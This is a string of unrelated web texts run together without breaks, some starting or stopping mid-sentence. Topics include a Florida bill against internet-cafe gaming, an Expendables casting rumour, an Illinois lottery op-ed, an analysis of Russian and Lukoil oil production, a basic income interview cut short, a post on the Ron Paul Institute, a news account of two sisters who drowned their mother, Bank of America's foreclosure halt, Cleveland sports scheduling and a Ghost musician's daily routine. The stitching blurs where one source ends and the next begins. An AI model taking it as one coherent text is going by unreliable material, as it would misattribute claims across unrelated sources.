Yes, that is the next step—in theory. In practice, given the current limitations of non-invasive brain-reading technology, that next step is a doozy.TALLAHASSEE, Fla. - With an expanding statewide law enforcement crackdown into racketeering at strip center gaming parlors and Florida out a lieutenant governor, the House took the first step on Friday to shutter the adult arcade industry by further prohibiting the electronic machines and devices they use.
The House Select Committee on Gaming voted 15-1 to proceed with a measure (HB 155) that clarifies the definition of slot machines and other gaming machines used at Internet cafes, and adult arcades that backers of the bill note are actually already illegal under state law.
"These machines and these Internet cafes need to be closed down," Florida House Speaker Will Weatherford said. "We believe they are acting illegally. The House is not waiting very long to move forward."
The new law would end a gray area in state statutes used by operators of Internet cafes that the games are contests of skill and that the contests are similar to regulated sweepstakes offerings by places like McDonald's, Coca-Cola, Chuck E. Cheese's and churches. The legislation also would overrule any county and municipal laws that have been enacted in recent years attempting to regulate the businesses.
"These machines have always been illegal," said Rep. Carlos Trujillo, R-Miami. "They're considered games of chance. They're illegal."
Rep. Jim Waldman, D-Coconut Creek, cast the lone vote against the bill. He said the Legislature might be moving too fast and casting too broad a net in reacting to the arrests earlier this week of people connected to gaming centers run by Allied Veterans of the World.
The organization and the industry as a whole came under intense scrutiny this week as the subject of a large multi-state investigation into illegal gaming, that has already led to 57 arrests. Allied Veterans of the World also paid former Lt. Gov. Jennifer Carroll for consulting work – and after she was interviewed by law enforcement, she resigned on Tuesday.
The bill appears on an extremely fast track to legislative passage. Leaders in the both the House and Senate support the idea and said this week that a measure could be brought up on the House floor as early as next week.
Waldman said that because of the speed with which lawmakers are moving, there may be unintended consequences, and noted that some industries affected by the bill – which was only made public Thursday evening - may not even realize it. No representatives for the industry were in attendance at the committee meeting.
"Many of the people who would be impacted by this bill weren't even aware that they were in this this morning because I've made some calls to find out what the effect would be on these establishments," Waldman said. "While well-intentioned, this seems like nothing but what we consistently seem to do around the House and that is a knee jerk reaction to something that took place."
The House bill's next stop is the rules committee and without a set fiscal impact could quickly land on the House floor.
The Senate companion (SB 1030) is set to go before the Senate Gaming Committee on Monday.
The centers have been able to proliferate because they have claimed to be charities and businesses that only offer "sweepstake" prizes, despite numerous critics who contend they are gambling halls that prey on the elderly and poor and have been able to skirt the state's regulations and the 35 percent tax rate that licensed pari-mutuels are charged by Florida.
Critics for ranging from Florida Chamber of Commerce and Dave & Buster's Restaurant to Hollywood's Mardi Gras Gaming and the Florida Baptist Convention contend customers are drawn to the arcades by the promise of payouts in cash, merchandise and alcohol and not regulated.
Before the arrests, lawmakers had already been contemplating a moratorium that would have prohibited new Internet cafes as they continued on a two-year review of gaming in Florida.
But that changed this past week as the statewide crackdown was announced that led to the arrests of 57 people and the closing of at least 49 Internet cafes, amid allegations of crimes such as racketeering and money laundering.
Trujillo said moratorium would have simply allowed the estimated more than 1,000 gaming centers to continue to operate without changes.
The House backed similar legislation last year to ban the electronic machines but the proposal failed to reach the Senate floor.
Agriculture Commissioner Adam Putnam backed the latest proposal.
"Internet casinos are a front for gambling and a breeding ground for other illegal activity," Putnam said in a release. "We must close the loophole in the law that has enabled them to invade our communities. The House Committee's vote today brings us one step closer to shutting down Internet casinos and improving the safety of Florida's communities."
Copyright 2013 by News Service of Florida and News4Jax.com. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.Another day, another Expendables update. Looks like we’re already getting more rumors on The Expendables 4, even though The Expendables 3 hasn’t been released yet (released August 15 by the way). After starring in mediocre boxing comedy Grudge Match (review) alongside Robert De Niro, it seems Stallone likes the man and wants to have him in the next (next) Expendables movie.
Yahoo.com spoke to Stallone and revealed today that “A recent rumor suggested Justin Bieber could join the gang (seems very unlikely to us), but we have it from the horses mouth that Robert De Niro is on Sly’s hit list”. Personally, I wouldn’t cast De Niro in an Expendables movie. Doesn’t fit in my opinion, does nothing for me hype-wise. I like De Niro, but this is bordering on chalk-and-cheese stuff.
Check out Yahoo’s video of Stallone talking EX4 while promoting Grudge Match, plus let us know if you’re down with De Niro becoming Expendable.There is a fight brewing to save the last glimmer of the American dream.
No, we're not talking about the dream of owning a home, a feat that is less common in the U.S. today than any time since 1967. Nor are we talking about the idea of sending your children to college so they can have a better life, a reality threatened by the fast rise in student loan defaults. And of course we're not talking about the ability to retire because, well, let's be honest: that dream is shot to hell.
The fight is to preserve what could more accurately be called the insurance policy for the American dream: winning the lottery.
When all else fails, as it too often does, you have the option to spend money you do not really have on lottery tickets you should not really buy in the hopes that it just might (but probably won't) pay for the dream you hoped hard work and a smooth functioning economy would provide. (Even though the lotto often ends up funding a nightmare of robberies, divorce and general burnout from the sudden wealth.)
In recent weeks, however, it has come to light that one state is reneging on this all-important obligation. The Illinois Lottery has stopped paying out prizes of $25,000 or more to winners as lawmakers have yet to pass a budget for the state which is about $5 billion in the red.
The money for the prizes is there, according to previous statements from Illinois Lottery officials, but the "legal authority" to issue the payments is not.
It's an issue that affects only a small number of people in the state who hit a jackpot of that size, but last week, two of those winners generated a disproportionate number of headlines and reactions online by filing a lawsuit against the Illinois Lottery demanding it cease lottery ticket sales and make immediate payments to the winners. The suit leaves open the possibility to represent other winners-in-waiting.
As Daniel Chasteen, one of the lotto winners ($250,000, in his case) behind the suit, explained to The Wall Street Journal, “You dream about winning the lottery all your life and it finally happened, and you don’t get paid.”
The idea of spending a lifetime dreaming of winning the lottery is sad enough, but the second half of the sentence damn near breaks your heart.
Great! Now I can't even dream about winning the lottery #Illinois http://t.co/QTEAChYXqD — mrs c (@jenm_c1) September 14, 2015
???: What gambling entity takes your money yet won't pay out jackpots? The mob? No. The @IllinoisLottery! @cbschicago http://t.co/Zt843P7bnF — Brad Σdwards (@tvbrad) September 10, 2015
Slogan is "anything's possible"... Article: Illinois lottery winners have to wait for payout due to budget impasse http://t.co/J6ANgBl0bj — Eric Verbit (@verbit) September 6, 2015
Some, like the editorial board at the Chicago Tribune, the paper of record in the region, appear to be scratching their heads at the fuss around this issue, of all issues.
"This isn't a problem that affects a lot of people," the paper wrote in an editorial on Monday, listing off the many ways that the state's budgetary crisis will hurt workers, retirees, students. "Perhaps two dozen winners are awaiting their checks."
The temporary halt on lotto jackpot payments may only affect a few individuals, but it cuts to the heart of two beliefs among many Americans: that the government should play fair and straight with us and our money — and that we have a right to dream irresponsibly big, all the more so as our modest dreams for a home, a steady job, a good education for our kids and a safe retirement slip out of reach.
Perhaps this incident will shake some from that more farfetched dream and encourage those in Illinois and beyond to re-double their efforts to be smart with their money and push for local legislators to do the same. If not, there are still dozens of other states where you can hope to win a lottery jackpot right now. To borrow from the wise words of the Illinois Lottery motto: "Anything's possible."Monthly Russian oil production according to three data sources, Jan 2003 - Aug 2007 (left scale), and oil and gas rigs in country (right scale). Sources: EIA Table 1.1c, IEA Table 3, and JODI. Solid smooth lines are 13 month centered moving averages, recursed once (note last 13 months rely on an incomplete window). Production graph is not zero-scaled. Rig data are from Schlumberger data and include both oil and gas rigs.
This piece looks at the question of whether the Russian oil production increases of recent years might have been due in part to projects that should have been listed as megaprojects, but went missing due to lack of transparency on the part of Russian companies (or at least lack of transparency to English speaking readers). The tentative answer to the question is "No."
Instead, it appears that Russian production increases are in large part due to revival of mature Soviet era fields as the Russian economy recovered and as now-private Russian companies applied Western techniques of oil production (and Western contractors) to their fields.
Firstly, let's review the main facts of the situation. A graph of Russian oil production is shown above at the start of this piece. From the beginning of 2003 to now, Russian production increased by about 2mbd. This is the later stages of a longer increase, commonly called the "Russian Revival", that began in the late 1990s. By contrast there are only about 630kbd of currently known Russian megaprojects in 2003-2007. Here they are, tabulated
Field Company First oil Peak date Peak flow (kbd) Salym group Shell/Sibir 6/2003 2009 160 South Priobskoye Gazprom Neft 2003 2005 220 Sakhalin-I ExxonMobil 10/2005 3/2006 250 Total 630
That 630kbd slightly overstates the amount of the new capacity available so far, since at least one of these projects will not hit peak for several more years. If you thought the 8mbd (or so) of Jan 2003 production would have had a base production decline of something like 5% a year, then you'd expect to have lost about 1.5mbd of the 8mbd by now due to declines. That would imply the 630kbd of megaprojects would have been nowhere near enough to hold the country's production steady, let alone increase it by 2mbd.
Two kinds of explanation seem possible:
Production at existing fields actually increased, rather than declining Megaprojects have been missed.
In the course of the last couple of weeks, I've been ploughing through annual reports for Russian oil companies (in order to update the Wikipedia megaprojects listing ). So far, I've only found a few small future projects that weren't already known, so I believe option 1 is almost certainly most of what is going on.
For context, let's take a look at Russian production by company:
Monthly Russian oil production by company, Jan 2003-Sep 2007. Source: Rembrandt Koppelaar. Click to enlarge.
Note that the assets of Yukos were seized by the Russian government under controversial circumstances in late 2004, and sold to Rosneft. I've placed the two companies adjacent so their combined production streams can be viewed as the same collection of reserves over time.
Here's the same data, only not stacked so that it's easier to see the trends in individual companies:
Monthly oil production of top Russian companies, Jan 2003-Sep 2007. Source: Rembrandt Koppelaar. Click to enlarge.
I'm going to focus most of my discussion on Lukoil, which is the second largest Russian company by production. I believe Lukoil is fairly typical and illustrates the general issues well. It is also particularly conveniently documented; it's been a public company during the entire period, so there are annual reports for every year (in English as well as Russian), and they are informative. There have been no documented Lukoil megaprojects during the 2003-2007 period, but nonetheless production has increased by about 250kbd (15%), instead of decreasing (we'll see that there have been new fields bought on by Lukoil, but they are probably all too small to count as megaprojects).
This graph comes from the Lukoil annual report for 2003, and I think serves as a good orientation to the situation:
Lukoil average water cut, Q1 2002-Q4 2003. Source: Lukoil annual report for 2003. Click to enlarge. NB: graph is not zero-scaled and involves a very small range of water-cuts.
The water cut is the fraction of liquid volume coming up out of a well, or collection of wells, that is water, rather than oil. Generally, a new field will produce at 0% water-cut, and very old fields (where almost all the oil has already been produced) will operate at water cuts over 90%. What this graph says is that Lukoil's production has a fairly high water-cut, which is indicative of a mature production base in which much of the producing reservoirs are now filled with water, and smaller amounts of remaining oil are moving. However, Lukoil is improving the water cut slightly from year to year.
It's worth reviewing some history here. In the Soviet era, fields were produced in a fairly brute-force manner with no nuances. To quote John Grace's outstanding book Russian Oil Supply,
On the basis of [maps from the Ministry of Geology], and the results of tests run on the the delineation wells, the producing association designed the first-round of drilling targetd at the largest reservoir in the field. Crews built drilling pads in the West Siberian swamp. From these higher and dryer locations, several dozen wells were drilled in all directions. Drilling multiple wells directionally from centralized pads minimized the costs and logistic difficulty of operating in a wetland. The intersection of these wells with the reservoir formed a geometric grid. In the first round of drilling, the grid was fairly loose. Pattern drilling (locally called the 'Siberian box') carried the advantage of easy planning, but did not respect the geologic heterogeneity of reservoirs. Mixed in the grid of producing wells were water injectors. Under Soviet practice, water flood usually commenced at the beginning of field development and continued to the field's abandonment... Engineers put pumps on every well they could. Nonetheless, they quickly met the limit of improvements that could be won with sucker-rod pumps. Without the option to upgrade to ESPs, sucker-rod pumps would only soften the wells' decline rates. Moreover, installing pumps meant incurring the cost and management requirements of maintaining them... The second line of attack was infill drilling. As the bump in output from mechanization declined, a second geometric grid of wells was planned for the spaces in between the first grid in a reservoir. In theory, infill wells increase the total volume of oil recovered from a reservoir. When drilled in the West or the USSR, however, most infill drilling is for production rate acceleration - not increased recovery. When drilled on a pattern, particularly with the reservoir under water flood, infill drilling can actually reduce the amount of oil ultimately recovered. As meeting the current quarter's planned production goal overhwelmed all other considerations, infill drilling became the brute-force instrument of choice.
So you should picture Lukoil's main assets as a set of large West Siberian fields that were developed in this manner during the Soviet era, and peaked and started to decline while under a poorly designed and monitored waterflood. Here is Lukoil's oil production by region:
Lukoil oil production by region in 2006. Source: Lukoil annual report for 2006. Click to enlarge.
The idle well 'crisis', as it became known, began immediately after the massive 1986-88 recovery campaing wilted. State budgets for field operations dove in every year thereafter, falling by half as of 1992. Well repair took the hardest hit. By 1991, the number of wells going off line exceeded the number of new wells drilled. In 1992, the number of producing wells in the newly independent Russian Federation was lower than during its last year as part of the USSR. As budgets shrank, producers deferred maintenance; the backlog of wells awaiting repairs quickly and inexorably accumulated. Whereas idle wells ran at around 3,000 during the eighties, by 1993 there were 29,101. This cost the nation 1.6 million b/d of production, or 23 percent of national output. A seemingly incredible number of wells remained offline for want of small repairs or lack of routine attention.
In the early years of the Russian Revival, production increased just by fixing infrastructure that had broken down and not been repaired during the collapse of the Russian economy in the early nineties when oil companies were not getting paid, not making money, and not able to buy parts. Grace again:The situation began to turn around in the late 1990s. First Russia defaulted on its debts, and the rouble was devalued, which dramatically increased the profitability of Russian oil companies (since their costs were mainly in roubles, but they could sell oil in dollars). Then oil prices started to go up.
By the beginning of 2000, the surge in export prices and a significant increase in domestic prices substantially raised the volume of income heading back to producers. They, in turn, began to plough back into the fields much of the net income received at the wellhead (over $9/bbl in 2000). The number of idle wells fell, and for the first time in a decade, the number of new wells rose. Output went up a bracing 6%. The same trend continued through 2002. The increases not only fueled drilling in general, they supported the initial development of a a handful of major new fields.
(Emphasis added). By the time we start tracking megaprojects in 2003, however, most basic "fix the wells" work that was worth doing was done. What has been going on in recent years has a lot more to do with the application of a variety of western technologies to the old Soviet fields. For example, here's Lukoil's 2006 annual report:
By the end of 2006 a total of 196 fields were included in a multi level system of field development monitoring by use of geological hydrodynamic models. Modelling of 47 fields was carried out in the course of the year. Geological hydrodynamic models are helpful in selecting optimal technical solutions for field development, matching solutions to specific geology and structure of reserves. Modelling raises the oil recovery ratio and lowers field development costs. The Company makes intensive use of models for drilling over fields and for application of enhanced recovery techniques. LUKOIL plans to inсrease the number of geological hydrodynamic field models to 261 by 2009, so that 75% of Company fields will have such models (compared with 55% of fields at present). Geological hydro dynamic modelling will be extended to all fields in such regions as Western Siberia, Timan Pechora and Kaliningrad Region.
Rather than the oil Soviet system of just drilling a geometric grid into the reservoir, Lukoil is now striving to build actual geophysical models of their reservoirs, so they can optimize the placement of wells into the remaining oil, and study the likely flow of the oil in the face of the various faults, fractures, and variations in reservoir permeability that pervade oil reservoirs.
Other techniques include the application of horizontal wells, and horizontal sidetracks (where a vertical or mostly vertical well which is now producing too much water is redrilled horizontally into the remaining oil layer to lower the water cut and increase oil production.) This next graph shows the trends in these activities:
Lukoil use of horizontal drilling and sidetracks, 2003-2005. Source: Lukoil annual report for 2005. Click to enlarge.
As you can see, there are sharp increases in the use of sidetracks and horizontal wells, so we might imagine that the water-cut has continued to fall from the late 2003 value of 76%.
Another technique of importance is hydrofracturing ("fraccing" - putting the well under enough pressure to cause fractures in the reservoir rock, which can enhance production in certain situations). From the 2004 report:
A large part of LUKOIL Group's fields are in the last stages of exploitation, marked by increase of the water cut and falling flow rate of oil wells. This deterioration of reserve structure calls for application of scientific and production know-how, which can find, test and implement the most suitable technologies for oil extraction at declining fields. The Company carried out 4,909 enhanced oil recovery (EOR) operations in 2004. Additional production thanks to EOR was 20.8 million tonnes last year, which is 5% more than in 2003. Most of the EOR oil (13.2 million tonnes or 63.5% of the total) was extracted using physical EOR, and 92.6% of oil produced by physical EOR was obtained by hydrofracturing techniques.
20.8 million tonnes/year is about 400 kbd.
Finally, a brief discussion of new fields brought on by Lukoil. The only new field during 2003-2006 for which production figures are mentioned is the Kratsovskoye platform in the Baltic sea. This came on in 2004, and
was mentioned prominently in the initial letter to shareholders in the 2004 annual report
has merited at least a paragraph and production statistics in every annual report 2003-2006,
had its picture fill most of the front cover of the 2004 report.
so apparently Lukoil considers it a significant project.
Lukoil annual report cover for 2004, featuring the Kratsovskoye platform in the Baltic sea which started up production in that year. Source: Lukoil annual report for 2004. Click to enlarge.
However, by 2006, production at Kratsovskoye was still only 861,000 tonnes, which is about 17,200 barrels/day. That was a 55% increase over 2005, but is below the current threshold to be considered a megaproject. Lukoil's crown-jewel annual-report-cover offshore project is tiny by global standards. And also tiny compared to the cumulative effect of 4000+ EOR operations on wells in giant old fields.
A variety of other new fields are mentioned by name in the reports, but have no production figures, and Google produces no information about them. They are probably small. For background, Grace reports that 400 small fields have been found in Western Siberia alone, and as of late 2004, only 160 of them were on line (the rest being too small or too far from infrastructure to be worth it. Collectively, the 400 small fields only hold 15% of the basin's remaining reserves. It's likely Lukoil is bringing some such fields on stream. For example, in 2005, of 9 new fields brought on line, the largest, East Sarutayuskoye and Perevoznoye had 3P reserves of 0.624 gb. So probably 2P reserves might be 0.15gb each. Given the slow rate at which Russian projects generally progress, they probably are not of megaproject size.
Similarly, of 11 new fields brought on in Russia in 2006, the only ones large enough to get mention were as follows. First in Western Siberia:
Major new commissionings included the West Pokamasovskoye and West Kotukhtinskoye fields with proved, probable and possible oil reserves in excess of 280 million barrels.
so that's probably less than 0.1gb each of 2P reserves.
And in the Timan-Pechora region:
Three fields were commissioned in 2006: West Lekkeyaginskoye (commissioned by Naryanmarneftegaz, the joint venture between LUKOIL and ConocoPhillips), Verkhnegrubeshorskoye and South Sedmesskoye, with overall proved, probable and possible reserves of about 230 million barrels of oil.
Three fields with 3P reserves of 0.23gb between them is very small fish to fry indeed.
So in summary, I don't think we are missing any megaprojects of any great consequence in recent years from Lukoil. Although my research is incomplete, this seems to be the pattern at other companies also. Production increases have been coming from better management of the very large but significantly depleted Soviet-era fields, along with commissioning of very small new fields. Only a handful of megaprojects have occurred.
Other selected Oil Drum pieces on Russia:Juon Kim has been an organizer of Basic Income Youth Network in Korea since 2013. In March of this year, Juon ran for a proportionate candidate of Green Party Korea in the general election, representing the party’s UBI agenda. She’s currently a graduate student of cultural anthropology, and plans to write her MA thesis about basic income.
In this Basic Income Interview, Juon talks about how she came to learn about and support basic income, and why she is now an activist.
About 5 years ago, only a few people in Korea knew about basic income, including my friends. Since they were studying basic income, I became aware of it but was not
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with war comes the destruction of wealth and poverty for the people; while with peace comes free trade and prosperity.
The Ron Paul Peace and Prosperity Institute will focus on education and getting information to the public in a fast-paced manner appropriate for the information age. Features will include a “NeoCon Watch” and a Congressional ranking system based on a “Peace and Prosperity Index”. To say that I’m bristling with excitement is like saying John McCain “sorta” likes war. Can. Not. Wait!
To get everyone acquainted with Ron Paul’s Peace Posse, let’s go through some of the big players on the advisory board. You can find all of the standard biographical information for each one of these guys over at the Institute’s “About Us” page, so in this space I will do something different, and find a quote or video from each member of the advisory board that best demonstrates their super powerful intellect when it comes to the issues of war and peace.
For those that are even vaguely familiar with this website or the libertarian movement, you are already well aware of Dr. Paul’s credentials advocating for a peaceful foreign policy (and if you’re not, maybe you should check out the new Ron Paul illustrated biography!) That being the case, we begin with…
Daniel McAdams, Executive Director
McAdams served as Dr. Paul’s foreign policy adviser during his time in Congress. When asked what the goals of the Institute are, he stated to some laughter “When we have no more wars, we’ll have been successful”.
As most of his work over recent years was done within the confines of Ron Paul’s Congressional Office, there don’t seem to be many recent speeches or short-form quotes out there from McAdams, but here is a recent interview conducted by Economic Policy Journal’s Robert Wenzel, and another one with our next Peace Posse member. Give them a listen and you will understand how deeply knowledgeable he is on foreign affairs, which along with Ron Paul’s endorsement should leave no doubt that he is well equipped to head this endeavor.
Lew Rockwell, Chairman & CEO of the Ludwig von Mises Institute
Another former employee of Paul, having served as his chief of staff during his early years in Congress, Rockwell has been a longtime friend and trusted adviser to the former congressman. He is best known for founding the Ludwig von Mises Institute, and runs the most popular libertarian website in the world – at least by one ranking system – at LewRockwell.com.
From a speech given by Rockwell in February 1998, regarding the looming Iraq war:
No one knows whether in the short run, the peacekeepers or the warmongers will prevail. But as bumpy as this road to war has been, it is more likely to harm the empire than beef it up. For the sake of American liberty, we must do everything in our power to stop this war, to oppose it now and even when the bombs start falling and the troops hit the Iraqi sands. Not for us this line that there shall be no criticism of the president once the shooting starts. There’s no more important a time to denounce war than in its midst. Empire is contrary to the American ethos. The American people have made exceptions in this century: the Hitler threat and the Communist threat. But there is no threat on the world scene to our families and property greater than that posed by the U.S. government itself. In order to beat back the real threat, it will be necessary to expose the phony ones and put obstacles in the way of the empire’s global ambitions. Every voice raised in opposition contributes to a more peaceful world in the future, contributes to bringing down the U.S. empire, and, therefore, contributes to the restoring of the liberty from government oppression that is our inheritance.
This is a fascinating quote from five years before the “official” launch of the Iraq war. It’s true that in the case of Iraq, it was indeed the warmongers who won in the short run. They got their war. They got their photo-ops. They got Saddam Hussein. But as Rockwell correctly predicted when he said the war was “more likely to harm the empire than beef it up”, the disaster of the Iraq war has certainly paved the way for the non-interventionist sentiments associated with Ron Paul and the liberty movement. You can hardly a find a Republican to say a nice thing about the Iraq war out loud nowadays. This sentiment may have even prevented a war with Iran from already occurring.
Lew foresaw this and continues to see the importance of having as many voices as possible, speaking loudly, thoughtfully and clearly against the designs of the warmongers. Looking at his history, there is no question of Lew Rockwell’s credentials when it comes to being anti-war, anti-state, and pro-market.
Speaking of history, our next member of the Peace Posse has an interesting one…
Rep. Walter Jones, R-North Carolina
On the surface Walter Jones may seem like an odd choice for this effort. Walter Jones is a Republican congressman who not only voted for the Iraq War, but he is also one of the two congressmen who were behind the effort to get french fries in Congressional cafeterias renamed “Freedom Fries” in protest of France not supporting the war effort. So what is this guy doing as part of an institute to promote peace?
Much like one of the founders of this website, it seems that in recent years Walter Jones has awoken from his neoconservative coma. From his talk at the Institute’s press conference:
I am the only one at this table who made a horrible mistake and voted to send our young men and women to die in Iraq. I will go to my grave regretting that vote. The reason that this Ron Paul Institute is critical is that I do not know where the conscience is in Washington anymore….war is something that is just accepted, but never debated. It’s your son that’s dying, not my son.
Jones went on about the horrors or war and how they are no longer recognized by the American public at large, let alone the politicians in D.C. I honestly believe that Walter Jones has had a true change of heart over the years. The sincerity carries in his voice in stark contrast to a typical political speech. As with many of us, I believe Ron Paul and the liberty movement have helped awaken this former neocon to the ideas of liberty, and the importance of peace as an ideological imperative that naturally goes along with it.
Dennis Kucinich, Former U.S. Congressman (D-Ohio)
Quite possibly my favorite Democrat of all time, Kucinich has always been consistent on issues of war and peace. Sure, he may hold faulty Keynesian economic views and nobody is going to confuse him with a libertarian, but the inclusion of Kucinich goes to show Paul’s ability to truly “reach across the aisle” on the issues that matter most. And like Walter Jones, I am certain Ron Paul has influenced some of Kucinich’s views over the years, such as his vocal opposition to the Federal Reserve.
Here is Kucinich from 2010 on the House Floor, passionately demanding the end of wars and the return of the troops from overseas.
R-Tennessee
John Duncan holds a unique distinction. With the departure of Ron Paul from the House of Representatives, John Duncan remains the sole remaining Republican in the U.S. House who voted against the Iraq War, of the original six. Duncan voted against the war despite pressure from the party leaders, as well as a constituency in his home district that was largely in favor of the war. Today, as Dr. Paul describes, most of his supporters in that district now see it as one of his best and most important votes.
John Duncan on the House floor, describing why “Nobody can replace Ron Paul”. He’s right, but at least Congress still has John Duncan who, regardless of disagreements we may find on other issues, does have principle and will not lay down to the will of the Neocons.
Senior Judicial Analyst, Fox News Channel
It is hard to top “the Judge” – as he’s affectionately known in libertarian circles – when it comes to a consistent voice for liberty in the mainstream media. The Judge is not only a true libertarian, but one of the most knowledgeable scholars on Constitutional law and the erosion of civil liberties in recent years thanks to the PATRIOT Act and other equally vile laws.
One of my favorite moments from Judge Napolitano is this monologue from his since-cancelled show, Freedom Watch. The “What If” video has gone viral several times over, and speaks for itself.
, Former U.S. Ambassador to Switzerland
Ok Doc, you finally stumped me! I admit that up until right now, I had no idea whatsoever who Faith Whittlesey was. But it sure does seem fitting to have a former ambassador to Switzerland – long known as the “neutral” country – on board, now doesn’t it?
I couldn’t find a tremendous amount of foreign policy material by Whittlesey out there, but I think we can rest assured that if Ron Paul and Daniel McAdams approve of her, she’ll fit right in. And it never hurts to have a former Reagan official around to add that extra “Reagan Sparkle Magic” which seems to lure in the most religious of Republicans.
And hey…what a smile!
This is only the tip of the iceberg, as the Ron Paul Institute has also assembled a group to fill the academic board that reads like a Who’s Who in Libertarian Greatness, including Walter Block, Butler Shaffer, Robert Higgs, Eric Margolis and many, many more.
Neocons, you’ve been warned. Ron Paul’s Peace Posse is fired up and ready to end the Neoconservative Era once and for all!
All photos courtesy of the Ron Paul Peace and Prosperity Institute ( www.RonPaulInstitute.org
Receive access to ALL of our EXCLUSIVE bonus audio content – including “Conspiracy Corner”, “Degenerate Gamblers” and the “League of Liberty Podcast” by joining the Lions of Liberty Pride and supporting us on Patreon!Mitchell, who covered the story extensively as a reporter, says he understands movie audiences need someone to root for, but he does not see the girls as sympathetic figures.
"If you didn't know the whole story, the movie comes across as these poor girls, basically, who were pushed to the limit and this is how they figured out how to get out of it, but then in the end they get caught," Mitchell said in an interview.
"I don't think the movie dealt with how cold-blooded and calculating they were."
The main reason for the murder was their mother's insurance policy, Mitchell said. He recalled the day in court when autopsy photos were displayed and the sisters were giggling.
Much more planning went into the murder than the film shows, Mitchell said. And one of the girls' biggest concerns in the immediate aftermath was that they wouldn't be able to party for a few weeks because they had to seem sad, he said.
When they were 15- and 16-year-old the sisters staged the drowning, plying their alcoholic mother with drinks and feeding her Tylenol 3's before drawing her a bath.
Once in the bathtub, the older sister held the woman's head under water for some four minutes. They nearly got away with murder.
Their ploy to make their mother's death look like an accident worked for about a year, despite bragging about it to friends, until a family friend went to police.
They were sentenced to the maximum allowed for kids their age who commit first-degree murder: 10 years, some of that behind bars, the rest under conditions in the community. Their sentences will expire completely next year.
The girls' real names were put under a publication ban because they were under 18 when they killed their mother, so the characters in the movie were given fake names.
The older sister is still using her real name, which has appeared in newspapers when the girl won awards, Mitchell said. The younger sister is in law school, he said.
"All their fellow students would have absolutely no idea who they are unless they told them," Mitchell said.
Brooks, a U.S.-born permanent resident of Canada, is deeply curious to know what the sisters think of his portrayal of them.
"Because the movie is opening April 11 in Toronto and I'm coming up, I do think about getting that tap on the shoulder: 'Hi, I wanted to meet you. I'm the girl that you called Elizabeth,' " Brooks said from San Diego. Calif.
"I hope they go see the movie. I think I treat them pretty fairly — probably more fair than the book did."
The Canadian PressBank of America halts all foreclosure sales
NEW YORK (CNNMoney.com) -- Bank of America is halting foreclosure sales in all 50 states as part of a widening investigation into flaws in the process, the company announced Friday.
The announcement came a week after the nation's largest bank said it was freezing home foreclosures in 23 states where foreclosures must be approved by the courts.
The bank said the foreclosure process on delinquent borrowers will continue, but it will not proceed to judgment or a foreclosure sale.
"We haven't found any problems in the foreclosure process," Bank of America (BAC, Fortune 500) President and CEO Brian Moynihan said in an appearance before the National Press Club in Washington. "What we are trying to do is clear the air, and say 'We will go back and check our work one more time.' "
The review process is likely to last a few weeks, Moynihan said.
Bank of America is not the only bank to freeze foreclosures.
PNC Financial Services Group also suspended sales of foreclosed homes on Friday, for a term of 30 days, according to media reports.
Frederick Solomon, a spokesman for PNC, declined to comment beyond saying that "PNC is reviewing its mortgage servicing procedures to make sure they comply with applicable legal requirements."
JPMorgan Chase (JPM, Fortune 500) announced last week that it will also halt proceedings for about 56,000 homeowners after learning that its employees may have approved foreclosures without personally reviewing loan files.
JPMorgan Chase had no comment on Friday's announcement by Bank of America.
Ally Financial, previously known as GMAC, the finance arm of General Motors, has also paused foreclosures in the 23 states.
However, Citigroup said it is making no changes in its foreclosure procedures. "At this point, we have no reason to believe our employees haven't been following our procedures, so we do not believe a suspension is necessary," spokesman Mark Rodgers said in an e-mailed statement.
State attorneys general have stepped up pressure on banks in recent days after it was revealed that some bank employees had signed foreclosure affidavits without verifying that the documents were accurate, a process now known as "robo-signing."
Ohio's attorney general has filed a lawsuit against Ally Financial and its subsidiary GMAC Mortgage for allegedly submitting fraudulent documents in hundreds of foreclosure cases across the state.
Ally declined to comment Friday when asked if they would follow Bank of America and expand their freeze.
Senate Majority Leader Harry Reid, D-Nevada, called on major mortgage servicers to consider halting foreclosures in all fifty states in a statement released Friday.
"It is only fair to Nevada home owners to suspend foreclosures until a thorough review of foreclosure processes is completed and home owners can be assured that their documents are being analyzed properly," said Reid.
Sen. Christopher Dodd, D-Conn., the chairman of the Senate Banking Committee, announced Friday that he will hold a hearing to investigate allegations of improper mortgage servicing and foreclosure processing on Nov. 16, the day after the Senate returns from recess.
On Thursday, the White House said that President Obama won't sign a bill that could have made it easier for courts to clear foreclosures. The bill would have required federal and state courts to recognize documents that were notarized in other states.Cleveland fans waited 52 years for a championship ring ceremony, and nearly two decades to host a World Series first pitch.
Thanks to the Cavaliers and NBA schedule makers, they won't have to choose which one they'd rather watch.
With a potential conflict of Cleveland sports viewing looming over the Indians and Cavaliers on Tuesday, the NBA announced the Cavs' season opener will begin at 8:00 p.m. ET, meaning LeBron James and his teammates will receive their championship rings about 30 minutes before the scheduled first pitch of Game 1 of the World Series.
Hey @cavs fans: #CavsOpener now starting @ 7:30pm. Wanted to spread out 2 of the greatest sports moments in CLE history by @ least 30 min... — Dan Gilbert (@cavsdan) October 21, 2016
While LeBron and the Cavaliers open defense of their NBA championship against the New York Knicks at Quicken Loans Arena, the Indians will be hosting the franchise's first Fall Classic since 1997 just down the street. Corey Kluber is expected to get the ball for the Indians, who will look to secure their first title since 1948 against either the Dodgers or Cubs.
Despite the change, Cleveland fans will still have to do some TV juggling over the next two weeks. The Cavaliers' next three games after Tuesday coincide with Games 3, 4, and 6 of the World Series - the latter of which will be held at Progressive Field, if necessary.For much of the year, Ghost’s Nameless Ghouls provide loyal support to frontman Papa Emeritus III. Find out what happens when there’s a break in their monastical duties…
“I am a creature of the night, not just in the band, so I stay out all night because it’s the only time of day that I feel calm. No one else is awake, so I can do my shit, and no one else is calling for my time. The Internet can be a bit of a problem, or a solution – I don’t know which is which, actually. It’s a bit of a Catch-22 scenario.
“On a typical day, I usually arise around 2pm. I have a coffee and cigarette on the balcony, and then I usually take my bike from the small town that I live in to the city. Almost every day I go to the same second hand store, because in my opinion that’s the only time I’m going to find surprises. With all other stores, I can pretty much guarantee what’s going to be inside, and what’s not. It’s boring. But with that shop there’s always something new and unexpected. I’m very much into lamps – table lamps – and I construct that shit on my own, so I’m always on the lookout for parts to my models.
“After that, I usually go to the supermarket and buy way too much food because by that time in the day I’m hungry, as I never eat breakfast. So I tend to buy enough stuff to make about five meals. And then I come home and start making one of them, before sitting down to play guitar for a few hours. Mostly I’ll play old 70s or 80s songs, like Dire Straits or what not – just for the fuck of it – and try to learn songs that I don’t already know.
